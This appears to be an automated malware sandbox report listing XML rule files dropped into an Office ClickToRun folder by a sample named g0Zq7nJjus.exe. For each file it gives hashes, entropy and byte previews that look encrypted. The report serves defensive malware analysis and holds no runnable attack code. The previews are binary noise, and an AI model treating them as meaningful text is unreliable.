Preview:	<Rulem.......e...sm...l...E...C2$..P.).&V:.e..Y./'i....U....F.d5..c.....;.n.]....e9E.[...g..-.._A.........6.n.ZJ!D...."..X.....G....G[..;..z.L...F......3..........X.^....6.z...~.am.}....W.\..~..2..s..Qq...s..._.d..6.0M.......D.0...v.A1...#.........l..".O.6.$..c.J..z..T..31...c..q...xA.(..........D......<....%......n;.7YB.Fe..M..i.K........{.Ig\b.....".[.=q.....M.g.[L.kK..Y....u..{..R.g.J.....J....y.y`....8._......k..b.S5.{.>a.z.S.y.H6f..^.R..sk..r.......@2...#...1..h.............g....JA...._.c....y0..G.o.....\|...]....<.-.Te...~...t..z......).b.f.....2...ub..'.E..!..-"...g....$...m+Z;Ly.W2..$.n...4_M.+.;E.V.S6.....\...,zi.C.E[.[...)0....h..t..H.H..)b@.".N..q....<I.R...y../...O......d....\.r:I......-Y.ui.$.D.k.-u..z.`.j...g..7..rq:....~e2.n.1.....$..[....I^..Q....b.29h......h...s....@...E$..m&.........C...ni.qa.....e..P....;....v,.q...1....g......)*..}.iw..A..A.N....PT..W.7.j..=...........1.+..A..0.jN\|..C.I.8.2...S...[;.Vk.)V...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.861082980994347
Encrypted:	false
SSDEEP:	24:BCbPSOm115CjgQ7BEylJGp+6J0uobpWTu3TvkxNW+ANNB2bYeb3ySD2bD:sGQjH7BEi6JJMpbDvkxNs2YI3yLD
MD5:	6582D803B4BB83F2235C162C768FF831
SHA1:	A469EBAAE17A193F4ED661F813BD07FC09072BD6
SHA-256:	38E574AFE320BF2304209CC0A743334CABC5276F6B24F1CE22072E42CDACB015
SHA-512:	9BE3F02708DBF39FA42989912DF625D5FBE669B46F3797D02D135E7559EDD708489F4154D29CD04DCB63C88407CD1BAE1E05AD2BC3437B8D4352D3710B925239
Malicious:	false
Preview:	.<?.#\..3.R...l'j.....y...[\|.=..#!.....c.bFf......^~.dOj....E..U.."....._x#...-]..}k..BUYDF..*x..VM...\.\|P..!.z..v..>.V.2.f.\|.T..l.V.(D..7.#J....x96.'.G......G.2.&.YT.Bl...3.+/fS.&.1....e4.q+.bt.$.d5...&Goh.)%9Lw..`........'WFc.3^..B^....b.A....'by..I@`n.:..._t.....:..G.D!..B.9R?_..`.!P..H.M..z..Q...&:W..$...o.....=.1.H..+nh;...7E.c2q.........J..#.s.O.t.C.#ig.H..m.Lr'..KF.Q... v..@..tZ.....gX?.+.B5.'.Iv..i.....Hj..X"a.....X.}K....o..j.e0.!a._..`......G....T..@\&@.....+......3P............N.......=...\|\|...F=..k..qr.h.mtw9.m.&..%<..R....6A..n..fb..(52~..z.f..;.P.A&"..IN..#p.H.>lG....D..8....c...K.....3.Y....7.x^...:XT..Y.S...3w.....J...v....2..j.S.z.iQ,\.s.j...!Wlw8;..z.XK.G..%..&.....E.H.z.b..)w...TTt..Zc..w.TEgq.(Mz...<._........Rb.78N...'..y4 .dvp.}.....^t..m...5........V9..,eK.Z...;..;<........W.a7...#h#o.._..m=... I...K....kmH86......[..>.K>....45.W]O.D..n\}....Nmh~,m.g.A-..O...3.YM......n...D.w.N_.. .r-..W.b..3...3kL."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.888215184532231
Encrypted:	false
SSDEEP:	48:8MtNFI6mkOAg6PODdKC0Vb8TYjnTPNZAXD:8MTFI5tcOyVITEju
MD5:	5D512016E2ABF079FE78DE181A0F56B8
SHA1:	994E299C5FC6339A620D1A2E8CF2CA1482075392
SHA-256:	8A16C109F9153F93E23EE1A0BEC47EAD3348B35CD34CA224E32478D4DDA1AF60
SHA-512:	0D188382CB9B8E40AD964E896525D9160AF44ACA040DB81B3401F86570761B1AB8AE68CA66E6E7E7AE737AE9FD2EE5D783FC40C3E60AAA5DC9B4043E588D4C22
Malicious:	false
Preview:	.<?..p..[!CXlDa.m.i.U.......1.5..d..t..H].J...'..C.xnS#3..(.....>\-..m$.ua..r8....yo[....kC....."/J.......j.%....p......y..PA..l...n.......@.V..}.9.8S..3^.....=-.........{....(..7.....hj.P.i....k....&.d...Ets#Z...'.._.^..nj.$.iN.....,K.....J...<..q...D;..M..$SW.+......Sg...Y...rd4.5.C...fN..N`m....2.3.n.F..m[&.!75.+..g......v..4....o.wF..bi..uc....I..wS(.^.v&...(......:.b.?...E.g...OC.?.V"....:..@.\|.N'.8..[.!.}...c}L7..d ..n..)E...."+..[t{......d.(;.J.".#..sX....p..A.*.....89.\|.T....y..pN.b.."C..r.?.#.;.3..D..z.....'>tL.....gzA.`.i.CJ6....R.d.4'..u:.v...a.....\s.a...g....k.:...\............^..{..-.A.1....0....9}?.7.}...G.21....7...r1fR.....}%..."c..%.PdbT6.\.6....B.8d..Jm...YjJC.!..;WJ5.u.i%..3..Cc).`..V.J.e#. _..Y{..T.....{y.f.B.ge.&.+.[.#.F....$....vg...k.!.Z..ms....P.....'.n5.2_B3l...\| .#..o.....,n).G..p..J@..Y.s..EZZ.~.3.(&.\.r...~..&.8.R...3D..!..".e.k.t......^Z.K.4e....a.W.h.>..n.K....o..B.[..}d.........M.........{....../.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.876679221259224
Encrypted:	false
SSDEEP:	48:WuOp6eM0IdvhWbfhMxptKSBLOAoE+3Pou71iD:DOpv+JWbfhMxjxxLo1AAq
MD5:	A2E897440D38C37C72B6266EDAF79142
SHA1:	42B11049A30ACC9322483BA6F68E0D48E627B564
SHA-256:	D756B763BD1B6F4EAA0692DE342D65155D7E5A1F371108E83FF129D8CE0511EB
SHA-512:	C77A1959C798C0D6D81262336AC3F0963115007116214720D72991D578EFD3FCF0E7E756460363DE7477DA7E08CAF80095396DEB82041EEC5925AB06BBC9BFE5
Malicious:	false
Preview:	.<?.E..Gy.......&i@dr..~N.........d`....OYs..b2..P0;.1!..V.my....&..r.oH..f......C..-}..].B7&....4.SA....._.y..kG.s..{...)..........:..U.x....../...f..B.v...7........9...4..SJ....E....r.$%0p...jb=4f......y4.;S.....(.Y.~.l...S...!.>....~..I......z..]...i..S.K.....+E.5.P.`?...V..c_..B...;t\~..xR.f.....`......f>4....c.:...%..P....aX*.].....6........u.........<~......`Z.Vf.pK.B.h....2x@.....v.v:=.r\i,..p.....T6.Y.Q".wsU[!Q.M..j~.'76....AZ..r...9..;..$.I.....lb.a....3.n."08.Vo...v<\|O.{....`r.zg.....k5.C....=.r}.w...rC.._.+o.gY{.Y.+.P...S&.a9..X?..(..[j.........;N....r.Q.@..F..B.[,.`...r2.....E6..u8....XZr^.k.....6k./.nl}..y..u1v.........56....~. ~.i+....w....-l........$.z..Ds............+Iw...J.....O.oY.......[....}B9...!.3~.U.....8...K....tv.......FJ.....B..L.....)_3F.I.y.9Dk.&.=8..hS.:FR..MZQ.O.2...3(..H-....^.........[.4.u...e...FC..v...<...(...iV&b.6..h..".\Q]..\..q..>..\.R.r..].Z.'.&MU..i...L aV.........@C.w.....\I....i..}%q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.880030176790745
Encrypted:	false
SSDEEP:	48:K8u0MnjWMSkC2KmVIwTYG3MzG1TIcLJS/TXhqlMD:K8D6TWzG15mxq2
MD5:	8654254AA8F6D3D63EDD49862C505B36
SHA1:	88D445727081E682625F99417108FBC7F810FB5A
SHA-256:	9EB79E46C9300DD1B9908AB937FEFF402F414DA6AC010BBAE1046F9EA1CDB598
SHA-512:	EF43697A6C1DBF04642B3158B839CF101F537EB515FC0C76F5D3DDF67F80132C0DC59212A8C2FC082D3BD9A2E8C6157084D37CB947EFB40E8469538A5192AA6B
Malicious:	false
Preview:	.<?W.&M./.<y..Z.'^4...S.......nG.M....^.h.O......M.)].7`...$4....@.X..............L.^..zX.PO.._..-.U../..>H.S.I'.aT...;".YA.cy V.../........b7...!.J$.`.>.;.MD..l.M.^#O.J..A.f6....i].E.8\|..L..6.bv..........V..HBO.....5.L%....Y;.n....Lf$.%.Uj.9.F.........E.@e.n...pN(...j...m......<k{..5\...~.h......=h-...%..+..H`j.).L.''f..^AN2_S.2.b.T.E...Vz......L...n.y...8\i....z....K....vS.y.....H...U......5.U:.h...:.F.........4...2!..y<..D.E.I...WSR.Q.[..,y.HNQ.@.1....0.ui.XP..."..d8R/..f.VEh.o...Q.z2.[.@..l.).H(.-..1~..J.6..l......F.....r.}....[.b.]U.yO....%...2a..N.....WD.....5G+...C.\|=..AJ5m.>`.q~.......].H6..3.P.5."...h.hMn7.....5.}.J.9.%z..=.......'(..h..Z...f^....T..p...+...Ca...9.>I..!.iG.........S..fs.S.2.s..:#<>..^...H..n..}.7Y....kj.+...PD2}.{../..V_.....:.b7W.d2.Qp..S..6D.4."..tB......&.YV~...`.<N......F8.rmy.b.g.A...N.2..6....wc....9V....z.I.2E....w.P..>...1..9sx.Z.z.._.4r.5z;.....k...+..;.L..>o.d.....$..&7...z.V..J.(...#......7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8889732751956485
Encrypted:	false
SSDEEP:	48:CI/hC1DIz3rZk6tQK4Vpw4oMWVF8jXIkv0fqED:9g1DZ6Ypw4RI80kv0l
MD5:	12FB52F5F4AC739EF3CC7EA3A19CC5A9
SHA1:	72EF7585EBB85DB26B6159238C30B9521660043B
SHA-256:	D3FCB6DC0287CF013E9683E311C317B209C15654B525887CF218A2C7DA3153DA
SHA-512:	31F9ECAE4FC64E61C663B4F4473FF1359923298F318E6C9D4231AAD04909E45E30D80D9D72BE5EDB2EF46BD19BD7BF7441294B8327E9D7290F9755D8A0C4EDC3
Malicious:	false
Preview:	.<?.u..`...v../.#.k.-............8Za.g.-.feFI ..]M..\|......B..$.....~.......`...o;.............V..8c......<......xj]...8.+.,..0......R..p?......J%...B....s.0..._...v..N.0.AN..3>..n,..)...S`..20....j..a.Q.._V./g.9%.6^.uf5...a....A..4......3.....@....Rl;m...l..K.^.do....z.ro9.L..U&2\,:......^.=.Sw..7\|]..8.2.S..!$...`..]k.n!P..1[_.#r.t\|E.S....OR...g..XBK..rC.Nzw...m.......-........t.G..{.U%&)N..g.....j\.0-....{.....6..?...G...f..pw.Q:..1j....g..?.W...+(.].....<B..W.,....IK.#X..6.w.v...a../g..j/~u......J9..C......U..#...~..<m.!.)....}5:...De....{c..K.j.....~:.....a.....".A.....>.H9.j.m"..m....9........(X..;..t.h....;T{..... .........ww9Y...;P...o.+g....Ya.B..o..Ki.f.6k.YY1...WU.A.."..>n..t..H.:\d..V...........[a....P...}t.2..{.C....f/.wiOC.N.Lx......7.{_6..=9...C.....k\|........].k0.D.F....V......u.......'....A.#n...../.Ao\|.[.......4..C........D?*..@s..{(d7.X...:".&\.n...I...K...!hb..9.[A..z.VZT{........o^...q1.......5..+..C.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.887354156776257
Encrypted:	false
SSDEEP:	24:5gHtN8qQm7Ec/5heR8HhZMszPUQKu47s//PvtfMPDbOmjoMjy/TJJmFURDO0L8uH:+Aol5gR8xnz6eHvdUJEMj9jcD
MD5:	0322AEDEA81BCE9B303AE685A46104B6
SHA1:	8EDB7CAE0A41FF2B1057CEA61552C94A5129279C
SHA-256:	4DCA3F9CD213F57FC36C0B41B44D2DCF84C25DFC868B87A1F90A084D201FB1F6
SHA-512:	6314612446FA598B17A1C17F767E2962ACC1C7D73A6F9B950C0B23CF2BE0DDF8BFEA4E9E0D65A9D40C1724B9276ACD8FCD139355E6C41BB893DBA106ACFBD357
Malicious:	false
Preview:	.<?S...=#.>].xH8n...~d..O.....o......n..ZM.H.-[.W....H..r..L.m9XS...`Q.lc%....i....<k.Q...aS..l`T.k..:..K.O..;...@.....s.r..'.......U...k...h_.+...x...}.g.h..Q.m..._~_m..Q....h....'.7.h.&....~8.V.7F0.'7$..\..<.7..=....S....hol..9.5...8.P..78...L.h7.'...0....0....2.M.L.O...uW\|+s...~..!..b@gCV....W.U.x.....c.....=..>..X..1......L.$.,..l...$E..>.......Iq.V.xl.d...i.(...f.:..iz..}...4.......WTtox...DF,.<A.1...Bc.h.9..).{{...^.(....c...M7...VG%..^O4.....W.5.3wJ...WW.&...d......H.{J9.[.....Jzw .L.w. J..<.x..A..t.v~tKz...c.....q0l.kK.9.....o#...j....Md...x.}.J...v.5.&....P0L.3..b. ...n.2kl...DBA\|J....~.......H.../.ObU.0z....YW....<..x.GK.$.C.s.. ..........v.N...Bm^.9.@......{(.q..\|1..+.....D..eG...g7I/..`......V...T.$.......3..@Y7...>..UJ..\|.)...y..}....0.9.C{;-A......Ky]...../.C4....z.A..'^....3.......X~.#.n......r.;~lD....jt.../.l@."..c.zK.;/.+..%.k....z.+....:..*.'K...L\.r....YQ..1X..W.mp................2.X....aiv.l.....Z?.w.aD?.n#}..3.~s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.888245750367494
Encrypted:	false
SSDEEP:	48:Jv6beQKwVxZ4q8EIhFLtTOiqdwYjYDGjHmSNWdpjuD:JvD8xdPIhTOi4NJ
MD5:	D8C430E41865C23730B9EFD864C967CF
SHA1:	EC0F9999D183405F7AA18A4D354A3C1F47AA7357
SHA-256:	A24BE540499A1E8977BC4F3A81E98D11FF68AB657CBA8608347DC0CF1B6A2BF5
SHA-512:	082CD46AA4262D4A430BE78949C9225EED9CB44CE51126548E5637419DCA4DE70F57D814B775E191B174C17F28976337B12BFA4DC37FE7667878E72E15D6F306
Malicious:	false
Preview:	.<?......S.%.....`TE..1.(.j.Z,..J.8..O~.w...0.`G....q.D..........c......b...Y..m..l&B..j.1...8.....i.......r}.`e..(.......c..........'..3...%.........S...~..........7M.gm......x...APZ.....R.`B..w...`"..;....vU...R'D,xB..6....+....R;..%.f.@..rIu5.;..c..).PXZ..2...,..y.......QL.z.Z.s.8m.8.=..MU..Z.v..E..X....K..5..Y.6.0..o'.\k...v..v..3.IL.:.....pV..P....fh.....J..sh5C8..p.S.....L..Z..].@.0.l..r#.['......(..%.....5...........6ef.F.m......._p....W...l.M;..y}.40..c.{.....1!2K......h.../............T.D..,.#b......kc..Q...u.ON4.C.....q..)_...0\|.....zR.....".,b........F~.V..*.+\|.@...@G..\|!Uy.s[....8..!.!...IF?......F.&P.o.J~....?@.;...D.\v..;6.njoj...8.=<.V...t/..j.X"..2Y.[b...5....]MO2V?...z...o..i.$.d.......A5.O.g...v.M..1C..Z.Q..93.Fj....:.vY...F:....[.i..D.....%.T..K.>5..G.isM.I...G...n.+....w[...Po.9Z.#[..Iv.....q..eS....w.!........r....J.j'.5./..J.b....L...B.D..vw......,...H`../..n......9..U..>V`..V6(......a./^.....].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.889818434965024
Encrypted:	false
SSDEEP:	24:7N1mTzNdlZvFpywPN2FsYEcWSCr+X6SqynKy+eCfn5N2Qzs8hpGyoPCW2bD:p1oNdlYYN2FJLWSCKXeyL1cn5AQzBzpD
MD5:	8FD302FF210F97B0C7BE9F67D1A35EF9
SHA1:	3AEB425DFC3D6B1297337EA3549801A9845278AB
SHA-256:	3A038D90CD6B6C8DE5735F0136A655A465AF6F682911A290E270D151BFD67639
SHA-512:	151E30588990B50499947406235E4FB92F7B92A06313C9EBD66F6DDBC2A06F6AA0F55FD24541EB5657ED4F6046E0CC4A98D53436C11E820547760C4101BCD1BF
Malicious:	false
Preview:	.<?F..f...y.0G..T.r6.cj.l...........>.we.}....YE..8.e$..K.;.....D//.`...}oqF....$.q.5J...R.+..`w.......Z..D..q.....v....+@..k..T.+.."..~.....4.z...n.8c.5Z...,Bl.F......v.D..w7/..O.o......4..........B..<uGO....\|.Q.eRj ....{(<Y...d.8..:a.).o...HhP...k=.k..{.....p2.....h..U.<......G..]\|...W...C...[.....w.YT.X....i.4....csFQ../.P.g.q.+.=.7#..%........u...T^H.^..P.....ND{K,.i......=TYP.0...Y.k.5...Dri.H.mk....S.O{...._."z.N..]..06(.gS.....;mU....-...........9X.........L.k.^..........Q.H.........5...o.......&...;...&.5.....7.........5.A....Z5......W..'...M..Z;..<_...u.bzQ.}.V..Y:....!..d........8...9.2@..v.;.)..C.c......8G..;.cO.T....pF...Mp.Xw.iX.!.".........`.s................St......s.....BE.n..C..2...}...(u>...~nUk......b...s...M.V.&.x(.`.....O.1TW.[..K\.)...U.\.........-..x..2...z...-.....G...;.N=}g6.S....W.....;...X...w..D-..g.7<.>.D...C.%.l-........U..U....5......M~"..,......!G..x.sR.......a.=g...~.t..ch.8.z.u...d[.Ja.Y.b!...~...sV>^^/.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.889022464993291
Encrypted:	false
SSDEEP:	48:R8A+ut9dl6khv8KzukdBiSCTWVw6ei5nkfpkbPNcUVIvD:2jullPhv8KikdqZ69qSLKJ
MD5:	D1248A2E86D6C009437BB26B5E7C17FD
SHA1:	51C282FA4724177D1B7ECC8114775489A884644A
SHA-256:	37756EC3EC8FDDBA3FC15AD45896A44A39CDC1B79EF279984D1CD2FD20ADC961
SHA-512:	E3E72F52AEF851F36DC44BDA42FF7CE8CA1ADC3692B1D09D1D63657036E314F5C9F95B8D84BB794BE263A05F4536B4E3EC1EF744C79AAF6889DEC5630F5DD24A
Malicious:	false
Preview:	.<?..........6R....\|...$..AF....AE..=%.0.G,.H.:.h.%m...K...f.....Z..yn..n@....-.,j.....5S..GP.L@......gVJ.Y.C.}.b.].........q9"...).....s.c...'g.v}..~^.W...X.W...2d......y$. j...er..=...i...f\|.I.V3..L......E.W.>"\'U....U...~....a..w....%..1T..u.MU.~ux..........8>.1.q..O....8p.>.T.".\|g..V....3dI;..p...... ..(.A.F.:..H[>..s. ..?..7E..n.@&o8...E...U...Lg. .,?.....Z.f..^..~zl.(yX..2R...b....\@.[8.t}36.-..........\|.uS.>+.]3(.z...jW.../.....=...U....\.B.).....&V..&.h....3xGV:M...#}.4.GL..z...Ab..R..._K.e.....y.2..0.5..n.&\|`C..~.`J..\|D..\|...U..h..T}D..\|......c.l..U..V.?V...A....U/....:YK...6......pV..K......!...n:.{..7m.@...H...r60.U."........"c..........._L./..rZ..X..."..b@$5y..2..j....:[..8@r.[.......,`XQ....r......5)c[wZ&]8.........[.eN2.a......k!\|.b.a.%F6.......,..5.!.......:t.......:.`....E....`syk...yHb....T.2..K.Q.!b..Z.F.o....d.D.j..<..5.v.@z.$....I......o.g.G....`n..v.....5C.A.Qq.;.-...zP...Sf...!...t.t...*..s..$O..IP.k...z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.896672944995602
Encrypted:	false
SSDEEP:	48:ykrEpBw1g8QdVh3oaQyXUx0mtOTCVz/qD:trN+Rr3LTk5iyzK
MD5:	A131C5E52CC6E8DB78FC340276D9A60C
SHA1:	07094B225CD4A6673A0E83FA122A1FCCF663E78A
SHA-256:	3262F2C6618F1CCA7CC1BD3C8E611AC7C5E1E80746E6B45AE85C2151CE6517EA
SHA-512:	99CC15961148D66399BCADB51955D65D4AAF227C09C448E08614AA9D6D68448FCAB14474B9BC9FD458DA7E2AB4E1FE74A7C03BC07472B9D82F10EA87562BC495
Malicious:	false
Preview:	.<?..G4.]...`t..wd,.._......i..n..$..Pg.!c..8.D.(.....Ga$....5f._......!K......j3.....+.l.6[=.S....81...1!....S,l.^.f%..-..FQH&.._.b........&j.k...&..Y.R.Oj..9..U.%'..U.-Y.y=q:i..Y.J.Z......R.}Mg..rb....Ix...o.<...%...O.....2K.9.^........B].h.(JP.....v.......K9O.?]............i.K..ym.W...O.....C5.8!.........?r...w.a..4eb.#.>,.q.@ FZ5..h...F.u.s.q..X...)p............../.....=.r.:..?..a..#w......YS.......@.VP.R\......[.a.).8[...Ul-.....}..A'....5.o\.-.w9.H....).5.,..<.&.a$..\K........)..<.t..?.......IP9..0.~.S.TE.%.+X>......>.9....+a..vt4.....e..1...gmx.-.4.c.8C..9.Iq...0.:$..k........w..I...#}6..........y\W-{3.J5..0-.....<g..%.r...vU........G..l...zt.....^...g.!>..`.-...[..I..3.Y.9.....0.....H.%....A.?/e@...j..8. ..+.....#x....... .B..d&...w....p."\|.....y...9.C.j/..f.C...P..E..T....D.6$.....*0.)T..vn..gs{.;,..49...HJ..Vi...Ib...o.~.H.....@.....>.Y.?&L.kx....$.N..J...f..+...l...L..5......h.S.ER.Fu.E.'2s#.p......~.1>R.8R.....j<..v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.861052963783086
Encrypted:	false
SSDEEP:	24:eOtcuWeqRDvlMioBgsPc7iKiDPVX4hUyfDhkx8VB2Hrio3AggogQxLv72eQiRtBw:7cnKir5ulPVJyuxG6r1pLVFRQD
MD5:	23C71C3162437EE7AA2AC46124C89B74
SHA1:	AB4C257E58DC9478C02F8012B79ACA3C318F9C76
SHA-256:	6993E4794F19CF7798734A87FF7139D97A6F938F86DDC585574D19B268952EA0
SHA-512:	A67570E601DFDC2F176AAB08E77ED29825B9E9728FF776FD0C201EFD1375AE1DAD4E2272FE1A3B8D7F2F6DE114A0E353F922DE54E5ABC17B595EE6B1A6ADB2D3
Malicious:	false
Preview:	.<?..3..x.......J6.8..&..QHr.7.>..c..e.P.6.7.P.....qo.\|V].)m.{w.....B.E.\.l.R....JD....}{...GW>...&..{.....N;g..3y...z.^.OF"S..~V..9O.G.U..J{-..K...)...3...]..2s....W-.. .C.1...d........... 3.6&w.7.</.).Z)....7..^..x......_...>1.&..u......^xa.8p..u.....0.#.OL..1F.ry................9...+T<0.P_.;.....0...f.Fs........A.6z.5/.........bD...I.....&..3..<.\e.L.O7.t..2>.....&..>..a..F........3.^.KM&..>..A...i..v_..s..6.[XbJ(z.`..nA...Ns...@.a.....l>...F.....3d]..C.O.3#_.r.r...T...?Q..Z(.`o....<...=.Bzs{.>."...EJ. ..2.0./..y..z.C...A2".}S.VG..r9..I...BIr.}.7.Gs/.J....w.;P............W.....I.0..K.....T..........s...h.&..FJ.....b=..T8.2Ax82.!.r^.`.Z.l..v._....#....G.k....V...xK..g.?.{.x].0..lV.Nl.).W.#....sb....,.a.f..:b......a.Pzq$A..)2....~W]..J3-...8]..q?..m..7#.....d+.,.fb..{.2.=..y...x"............Y...7.j..._\|*.6.....A...S.w2.....w...wpp.c...-........@.K.f.I..W.....PA..G..J#.....t.....Q.....l..V.w0.o..Kb..p......\|p K......vk[(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.870947076080321
Encrypted:	false
SSDEEP:	48:dJqiei5BAIRjHX7eQauV6jZCn3P0En1FsxSAD:qlHIRziQpk4n3V1FGl
MD5:	888E0E3CE3230E6E387814DED6EEBCAD
SHA1:	355844A86ABF649BFD3D4A29C7C206C32852B461
SHA-256:	DA41C9A7935C728CBEBE31099D70EC343F73F119D916555062DEA0757B779D3D
SHA-512:	B4D11DFD20363A7D4B972766FF28F3E7175D5BE4969CE68AE373218559A33D3DD483A116CB69880951070A328C19469122F954470E1B9B2D0E7AC89A5FCA4EFE
Malicious:	false
Preview:	.<?......WAR...a3.c.c.......u...4..y.....mm............c..^..w.o.}..s).A._c.`.R....72.....zFu.P.-.Xo.q.K.#.g)fM.......3.9...q,s.r=....#.}.7Z#..EyW.`.H.z.C.iw..a..A....+WO.K"n.E..g.g$...OD(....\|...g..j.F.0..c7..Z..=`..A..0.6%.8l)..z.?.\|.FR..=]#.@}..~..ctS...G.gr..&..:8..I.:.* ....a.V.k:T0D....dwY...W.V....s...1.....X.......D@6[Z.G.S.d....C...F$.Z..v.zP._.t+V......U..x.H......a.......t..3m.F..5.rK\gpXY.....2...~a....0..3H.A..h........(@.\o..@..E.m.K..\|n....G/..2...e...0....a.9...s\|j.j..!.]..Bbr...+.(F.D+.o..r?.(.B......z..z.s{.~.5U{...).v...$...\|.l...i............}..........r$.......Nd".l=.>..._'k5V...[...3..q....,.?.\....~..L7.i.WF.D.b\S..W...0j..l.K..o.K..)...zY^..$&.x....hL5.#.8rE. ..p.9.F.H.2.J.7$.&.}."*..'~.B]...p.oS2x.30.R4.XJ..j....uy.Z.."a.F...>.A....\...\.1.JK.=..._D.{..,t.V....N.>....N..D.%.8-.&.+,.........G.......A7@'..$/....#...%.f=.@f.O......a.E7\B.../.._y..f...CW=..O..<.....&.C..p.D..7.>..xs..<...S..X.~?.uq.L(C.3..=.]I]W/.z.\.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.885391248391989
Encrypted:	false
SSDEEP:	48:zKDE1u7BIGUNANsfTvGjRySixeDQhwgqQdu4Cn1SQD:zKDgWCGU5bSUOQhwgq6TM
MD5:	C433E616D726E86405D45852C785ABC7
SHA1:	8E5F0529F736A015AFE65034CA81F26DC889033D
SHA-256:	B537DCCA4B572565DC55695F7EFA35F3FEEFABE929F632F22831C1574B64F84E
SHA-512:	0269E6DC0DA1A6A8DCB3D73BF1FB7E53AC6D628EBCAD3484C8A0E024A96F9102A3AAF6299ECF1A0279A6D94823E64F437990F0C34FB6C1831E38BB1D63730B2A
Malicious:	false
Preview:	.<?6o...V.......x..............pN.fy.2K........a.$R.i;..e,..kN..].. ..9........W.-VU..A....g(...')>+.!....{.Q...._9k......=bf........u....{.....B.]l@...............D;f.&.@-..f...<...c../.q.r...A...W..l...U..g...AL2.......sP.b;..`.E..`..I.;8.PZ..:...p=[..D?!...)..{..r.....z...wl..<#.....r.ArZ..>~U...4...3..+\..O2.G..<./.J./....(....?.. .(r.....FB.WgM......?..vd..sV..=.U...C%K..{7I..^..Y.....N@..6.....X....%....<...G"-....#.THv......t..L.V._.,...B9...8....._.J.R1i....Z.......eA....{............_..:...m...a{.....{.......B../[`.....KH.T......#..b.L._Qm.......[.d..M...0.w.{......2b.`r.J.B...t..K"....HK.N{....BU...&0....<F:.0~j..(.f......Z...E }.i.n.c.T.DK...lcFi....(.a_.Hz...R..w..t@M.K...=PCJ>%.._..=.+...TI....0)....!..L).'..i..p...5.g.........6I.i.\|^..M.BS.r.#....Nw..Z4'.R].k6.l)...F5r..g....M..0>.d.HL.h}X.V..We.x...Y....7.:...&iz@..q.K....;....H.".....1Jw....I.-..O....29.....m....}...\|.7..9..<..8.[../......E..tqd...MJM...0.U.Uf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.890655838830935
Encrypted:	false
SSDEEP:	48:oPVHlZJuZ6nTiVFSUJK3gsB/ybXliP/5aatKD:YVLJuZ6nWVFbm/YlPYC
MD5:	8BEB0FA2ED073B3093843E2064680A39
SHA1:	4DA065FB2B6421FCE1D68580D45A2FDCB30DC7D1
SHA-256:	EB209BB5D1AC0CE4DD66A0D9A7D95D4EC0F2222F433FF1C38AA79BFA2C75C403
SHA-512:	E348481C538B3629500F4E618BE5A66CD4A4F6286EAC6940E480A9C6BBB08C36C934AEB4C46E8D0FDC1147180E04CF4315615AC9EFABEF0FBE4985390ACE288A
Malicious:	false
